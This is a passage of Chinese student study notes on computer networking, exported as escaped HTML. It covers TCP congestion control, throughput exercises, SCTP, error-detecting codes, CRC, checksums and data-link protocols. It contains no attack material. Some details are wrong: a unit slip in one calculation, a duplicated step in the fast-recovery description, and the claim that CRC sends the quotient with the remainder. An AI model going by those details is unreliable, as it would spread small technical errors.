title=\"无连接/面向连接服务\"\u003e\u003c/a\u003e无连接/面向连接服务\u003c/h4\u003e\u003cp\u003e前者对应UDP,分组从一方发送给另一方,不需要建立/释放连接,分组无编号。它们没有确认过程,可能被延迟、丢失、无序到达\u003c/p\u003e\u003cul\u003e\u003cli\u003e例题:最大窗口64kB,报文的段平均往返时间是20ms,则最大吞吐量是?\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e$64\\times1024\\times8(bit)\\div(20\\times10^3)s=26.21Mbit/s$\u003c/p\u003e\u003cul\u003e\u003cli\u003e例题:TCP的MSS是128B,报文的序号长度是8位,报文段在网络的生存时间是30s,计算TCP链接能达到的最大速率。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e30s内不能有重复序号,因此30s最多有$2^8=256$个段。因此结果是$1024bits\\times256segments\\div30s=8738bit/s$\u003c/p\u003e\u003ch2 id=\"Chap-24-拥塞控制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#Chap-24-%E6%8B%A5%E5%A1%9E%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"Chap.24.拥塞控制\"\u003e\u003c/a\u003eChap.24.拥塞控制\u003c/h2\u003e\u003cp\u003e它和服务质量是正相关的。\u003c/p\u003e\u003ch3 id=\"拥塞控制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#%E6%8B%A5%E5%A1%9E%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"拥塞控制\"\u003e\u003c/a\u003e拥塞控制\u003c/h3\u003e\u003cp\u003e思想是,利用窗口控制拥塞。窗口有两个,接受/发送窗口\u003c/p\u003e\u003cp\u003e策略有如下几个:\u003c/p\u003e\u003col\u003e\u003cli\u003e慢启动:先以一个MSS(Maximum Segment Size)慢速启动,如果重传之前收到一个确认,则指数(1,2,4,8,…)增加发送速度,直到收到的确认消息数和发送速率不匹配为止.\u003c/li\u003e\u003cli\u003e加性增加:和上面类似,不过增长速率是线性增长(1,2,3,…)。同时,如果计时器超时(严重拥塞),则作出强烈反应:设置阈值为当前拥塞状态的一半、设置cwnd为1个段的大小、进入慢启动阶段。如果接受到三个连续的ACK,则说明轻度拥塞,一个段可能丢失,其他段可能到达。这时,称为快速重传/快速恢复:设置阈值为拥塞窗口的一半、设置阈值为cwnd一半、进入拥塞避免状态。\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e一般,拥塞控制综合这两种启动方式。开始时慢启动,之后达到一个阈值后开始加性增加,并按照丢包严重程度来重新确定阈值。阈值的确定是\u003cstrong\u003e取下一次计算得的发送速率和接受到对面ACK时得到的对方缓存空间的最小值\u003c/strong\u003e。\u003c/p\u003e\u003ch3 id=\"4-SCTP-流控传输协议(Stream-Control-Transmission-Protocol)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/#4-SCTP-%E6%B5%81%E6%8E%A7%E4%BC%A0%E8%BE%93%E5%8D%8F%E8%AE%AE%EF%BC%88Stream-Control-Transmission-Protocol%EF%BC%89\" class=\"headerlink\" title=\"4.SCTP-流控传输协议(Stream Control Transmission Protocol)\"\u003e\u003c/a\u003e4.SCTP-流控传输协议(Stream Control Transmission Protocol)\u003c/h3\u003e\u003cp\u003e它允许每个端口有多个IP地址。协议构成方面,了解即可。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E9%83%A8%E5%88%86-%E7%BD%91%E7%BB%9C%E5%B1%82/"},{"title":"计网笔记:第三部分-数据链路层","time":"2023-05-24T07:24:59Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"Chap-10-检错与纠错\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#Chap-10-%E6%A3%80%E9%94%99%E4%B8%8E%E7%BA%A0%E9%94%99\" class=\"headerlink\" title=\"Chap.10.检错与纠错\"\u003e\u003c/a\u003eChap.10.检错与纠错\u003c/h2\u003e\u003cul\u003e\u003cli\u003e差错类型:单个位差错(1bit)、突发性差错(\u0026gt;1bit)\u003c/li\u003e\u003cli\u003e纠错方式:向前纠错(根据冗余推测报文)/重传(要求发送方重新发送)\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"编码\"\u003e\u003c/a\u003e编码\u003c/h3\u003e\u003cul\u003e\u003cli\u003e分类 块编码、卷积编码\u003c/li\u003e\u003cli\u003e汉明距离 两个二进制数不同数位的数量,比如001和011的汉明距离是1。\u003c/li\u003e\u003cli\u003e最小汉明距离$d_{min}$ 一组码字中所有组合的汉明距离的最小值\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"块编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%9D%97%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"块编码\"\u003e\u003c/a\u003e块编码\u003c/h4\u003e\u003cp\u003e总长度:\u003ccode\u003en=k+r\u003c/code\u003e,k是数据字的长度,r是冗余位长度。即\u003cstrong\u003e有$2^k$个数据字组合,$2^n$个码字组合,$2^n-2^k$个未使用码字\u003c/strong\u003e\u003c/p\u003e\u003col\u003e\u003cli\u003e模运算 模2运算和异或一致。\u003c/li\u003e\u003cli\u003e差错检测条件 接收方有有效码字表,并且原来的码字为无效码字\u003c/li\u003e\u003cli\u003e纠错 将数据和编码表对照,找出汉明距离最小的码字作为结果\u003c/li\u003e\u003cli\u003e编码方案表示 需要三个参数:$n,k,d_{min}$。编码方案C可记作$C(n,k),d_{min}=d_0$\u003c/li\u003e\u003cli\u003e检错最小距离 $s\\leq d_{min} -1$\u003c/li\u003e\u003cli\u003e纠错最小距离 $d_{min}=2t+1$,基于码字离有效码字的汉明距离\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"线性块编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E7%BA%BF%E6%80%A7%E5%9D%97%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"线性块编码\"\u003e\u003c/a\u003e线性块编码\u003c/h4\u003e\u003cp\u003e正式定义需要抽象代数\u003c/p\u003e\u003cul\u003e\u003cli\u003e任意两个有效码字生成另一个有效码字\u003c/li\u003e\u003cli\u003e$d_{min}$:具有最小1的个数的非0有效码字中1的个数\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"简单奇偶校验编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E7%AE%80%E5%8D%95%E5%A5%87%E5%81%B6%E6%A0%A1%E9%AA%8C%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"简单奇偶校验编码\"\u003e\u003c/a\u003e简单奇偶校验编码\u003c/h4\u003e\u003cp\u003e简单奇偶校验编码是一种最简单、最常用的校验码,用来检测数据传输过程中是否发生错误。它的基本方法是:在n位有效信息位上增加一个二进制位作为校验位P,构成n+1位的奇偶校验码。它有两种校验方法:奇校验和偶校验。\u003c/p\u003e\u003cul\u003e\u003cli\u003e奇校验:使n+1位的奇偶校验码中1的个数为奇数。\u003c/li\u003e\u003cli\u003e偶校验:使n+1位的奇偶校验码中1的个数为偶数。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e它的检错能力是:可以检出1位错或奇数位错,无纠错能力。它的一个常见的应用场合是ASCII码,ASCII码占用一个字节,低7位是有效位,最高位用作奇偶校验。\u003c/p\u003e\u003ch4 id=\"汉明编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%B1%89%E6%98%8E%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"汉明编码\"\u003e\u003c/a\u003e汉明编码\u003c/h4\u003e\u003cp\u003e汉明编码是一种线性纠错码,它具有一位纠错能力。它的基本方法是:在\u003ccode\u003en\u003c/code\u003e位有效信息位上增加\u003ccode\u003ek\u003c/code\u003e位校验位,构成\u003ccode\u003en+k\u003c/code\u003e位的汉明编码。\u003c/p\u003e\u003cul\u003e\u003cli\u003e校验位的位置:第1、2、4、8、…、\u003ccode\u003e2^(k-1)\u003c/code\u003e位,其余位置是数据位。\u003c/li\u003e\u003cli\u003e校验位的取值:使每个校验位所覆盖的数据位和校验位本身中1的个数为奇数或偶数。\u003c/li\u003e\u003cli\u003e纠错过程:对传送后的汉明编码形成新的校验位,根据新校验位的状态,便可直接指出错误的位置。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"循环编码\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%BE%AA%E7%8E%AF%E7%BC%96%E7%A0%81\" class=\"headerlink\" title=\"循环编码\"\u003e\u003c/a\u003e循环编码\u003c/h4\u003e\u003cp\u003e循环编码是一种线性分组码,满足循环特性,即任意码字的循环移位仍然是该编码中的一个码字。循环编码可以用多项式表示法,即将每个码字看作一个多项式的系数向量,例如\u003ccode\u003e(1100101)\u003c/code\u003e对应于\u003ccode\u003ex^6+x^5+x^2+1\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e循环编码可以用模运算来进行编码和译码,即将多项式除以一个n次多项式N(x),得到商式和余式,其中余式就是循环码的一个码字。\u003c/p\u003e\u003cul\u003e\u003cli\u003e循环编码有一个生成多项式\u003ccode\u003eg(x)\u003c/code\u003e,它是\u003ccode\u003eN(x)\u003c/code\u003e的一个首1因子,且常数项不为0,它决定了循环码的结构和性质。\u003c/li\u003e\u003cli\u003e循环编码有一个校验多项式\u003ccode\u003eh(x)\u003c/code\u003e,它是\u003ccode\u003eN(x)\u003c/code\u003e除以\u003ccode\u003eg(x)\u003c/code\u003e得到的商式,它可以用来检测和纠正传输过程中的错误。\u003c/li\u003e\u003c/ul\u003e\u003ch5 id=\"循环冗余校验-CRC\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%BE%AA%E7%8E%AF%E5%86%97%E4%BD%99%E6%A0%A1%E9%AA%8C-CRC\" class=\"headerlink\" title=\"循环冗余校验-CRC\"\u003e\u003c/a\u003e循环冗余校验-CRC\u003c/h5\u003e\u003cp\u003e循环冗余校验-CRC是一种数据通信领域常用的一种数据传输检错技术,它通过在发送端对数据按照某种多项式算法计算出校验码,并将得到的校验码附在数据帧的后面,一起发送到接收端。接收端对收到的数据和校验码按照相同的多项式算法进行验证,以此判断接收到的数据是否正确、完整。如果没有余数,说明数据没有出错,否则说明有错误。\u003c/p\u003e\u003cp\u003eCRC的计算方法有多种,不同的方法有不同的生成多项式、初始值、结果异或值、输入输出反转等参数,这些参数决定了CRC的检错能力和效率。\u003c/p\u003e\u003cp\u003eCRC的优点是计算简单、速度快、占用资源少,能够检测出大部分随机错误和突发错误,缺点是无法检测出所有的错误,比如两个位同时发生错误并互换位置等。\u003c/p\u003e\u003cp\u003eCRC计算方法就是模2除法。首先根据生成多项式位数-1来在要处理的数据后边补同等数量的0,然后再用它除以生成多项式,除时不借位,直接异或运算得到商和余数。此时,要发送的数据就是商和余数了。接收方得到数据后,进行同样的操作(补0,模2除法),如果没有余数,则说明数据完好无损,否则数据有差错。\u003c/p\u003e\u003cp\u003e生成多项式,是一个N次多项式。比如,$X^4+X+1$。它对应的二进制表示的生成多项式就是$10011$,因为四次项、一次项和零次项系数非零。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230609193236.png\"/\u003e\u003c/p\u003e\u003ch4 id=\"校验和-Checksum\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%A0%A1%E9%AA%8C%E5%92%8C-Checksum\" class=\"headerlink\" title=\"校验和-Checksum\"\u003e\u003c/a\u003e校验和-Checksum\u003c/h4\u003e\u003cp\u003e它将被校验的数据按位或按字节进行累加,并舍弃累加溢出的位,得到一个或多个字节的结果。它可以用来检测数据在传输或存储过程中是否发生错误,通常将校验和附加在数据后面,接收方可以通过重新计算校验和并与原始校验和比较来判断数据是否完整。\u003c/p\u003e\u003cul\u003e\u003cli\u003e校验和的计算方法有多种,例如按位异或、按字节累加、按多项式除法等,不同的方法有不同的效率和准确性。\u003c/li\u003e\u003cli\u003e校验和的优点是计算简单、速度快、占用资源少,缺点是无法检测出多个字节同时发生错误的情况,比如两个字节的值互换或相反。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-11-数据链路控制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#Chap-11-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"Chap.11.数据链路控制\"\u003e\u003c/a\u003eChap.11.数据链路控制\u003c/h2\u003e\u003cp\u003e数据链路层功能:\u003c/p\u003e\u003col\u003e\u003cli\u003e数据链控制:成帧,流量、差错控制,节点间帧传输可靠协议\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"成帧\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%88%90%E5%B8%A7\" class=\"headerlink\" title=\"成帧\"\u003e\u003c/a\u003e成帧\u003c/h3\u003e\u003cp\u003e将位组合成帧,并添加首尾使其和其他帧区分开。成帧有两种协议:面向字符协议和面向位协议。它们的区别主要是转义符添加的方案。前者添加一个\u003cstrong\u003eESC字节\u003c/strong\u003e,后者遇到\u003ccode\u003e011111\u003c/code\u003e就添加一个0来转义。\u003c/p\u003e\u003cp\u003e帧结构是:\u003cstrong\u003e标记+头部+转义后数据+尾部+标记\u003c/strong\u003e\u003c/p\u003e\u003cul\u003e\u003cli\u003eFixed-Size Framing   固定长度成帧 例如第18章的\u003cstrong\u003eATM信元\u003c/strong\u003e\u003c/li\u003e\u003cli\u003eVariable-Size Framing  可变长度成帧 面向字符和面向比特位\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"流量控制和差错控制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%B5%81%E9%87%8F%E6%8E%A7%E5%88%B6%E5%92%8C%E5%B7%AE%E9%94%99%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"流量控制和差错控制\"\u003e\u003c/a\u003e流量控制和差错控制\u003c/h3\u003e\u003cp\u003e也叫数据链路控制功能。\u003c/p\u003e\u003ch4 id=\"流量控制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%B5%81%E9%87%8F%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"流量控制\"\u003e\u003c/a\u003e流量控制\u003c/h4\u003e\u003cp\u003e接收确认前协调发送的数据数量。它高速发送方受到接收确认信息前能传输多少数据。任何设备都有处理进入数据的速度、容量等限制。在达到限制之前,必须提示发送设备,减少发送量/暂停发送。进入的数据\u003cstrong\u003e必须经过经验和处理才能使用\u003c/strong\u003e。\u003c/p\u003e\u003ch4 id=\"差错控制\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%B7%AE%E9%94%99%E6%8E%A7%E5%88%B6\" class=\"headerlink\" title=\"差错控制\"\u003e\u003c/a\u003e差错控制\u003c/h4\u003e\u003cp\u003e差错检测和纠正。任何时刻,检测到帧缺失/帧破坏,协调发送方重新发送帧。这称为\u003cstrong\u003e自动重发请求(ARQ, automatic repeat request)\u003c/strong\u003e。\u003c/p\u003e\u003ch3 id=\"协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"协议\"\u003e\u003c/a\u003e协议\u003c/h3\u003e\u003cp\u003e分为两类:\u003c/p\u003e\u003cul\u003e\u003cli\u003e无噪声通道的协议\u003cul\u003e\u003cli\u003e最简单协议\u003c/li\u003e\u003cli\u003e停止-等待协议\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e有噪声通道的协议\u003cul\u003e\u003cli\u003e停止等待ARQ协议\u003c/li\u003e\u003cli\u003e返回到N的ARQ协议\u003c/li\u003e\u003cli\u003e选择性重复ARQ协议\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"无噪声通道\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%97%A0%E5%99%AA%E5%A3%B0%E9%80%9A%E9%81%93\" class=\"headerlink\" title=\"无噪声通道\"\u003e\u003c/a\u003e无噪声通道\u003c/h3\u003e\u003cp\u003e是一种假想的不会丢失帧、复制帧、损坏帧的理想通道。\u003c/p\u003e\u003ch4 id=\"最简单的协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E6%9C%80%E7%AE%80%E5%8D%95%E7%9A%84%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"最简单的协议\"\u003e\u003c/a\u003e最简单的协议\u003c/h4\u003e\u003cp\u003e它没有流量控制、差错控制,且和其他协议一样是单向的:帧从发送方到接收方单向传输。\u003c/p\u003e\u003cp\u003e它是事件驱动型程序,发送方伪代码如下:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eWaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(RequestToSend)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e GetData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e MakeFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e SendFrame();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e接收方伪代码:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e(\u003cspan class=\"literal\"\u003etrue\u003c/span\u003e){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eWaitForEvent();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(Event(ArrivalNotification)){\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ReceiveData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ExtractData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e DeliverData();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch4 id=\"停止等待协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/24/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E4%B8%89%E9%83%A8%E5%88%86-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82/#%E5%81%9C%E6%AD%A2%E7%AD%89%E5%BE%85%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" 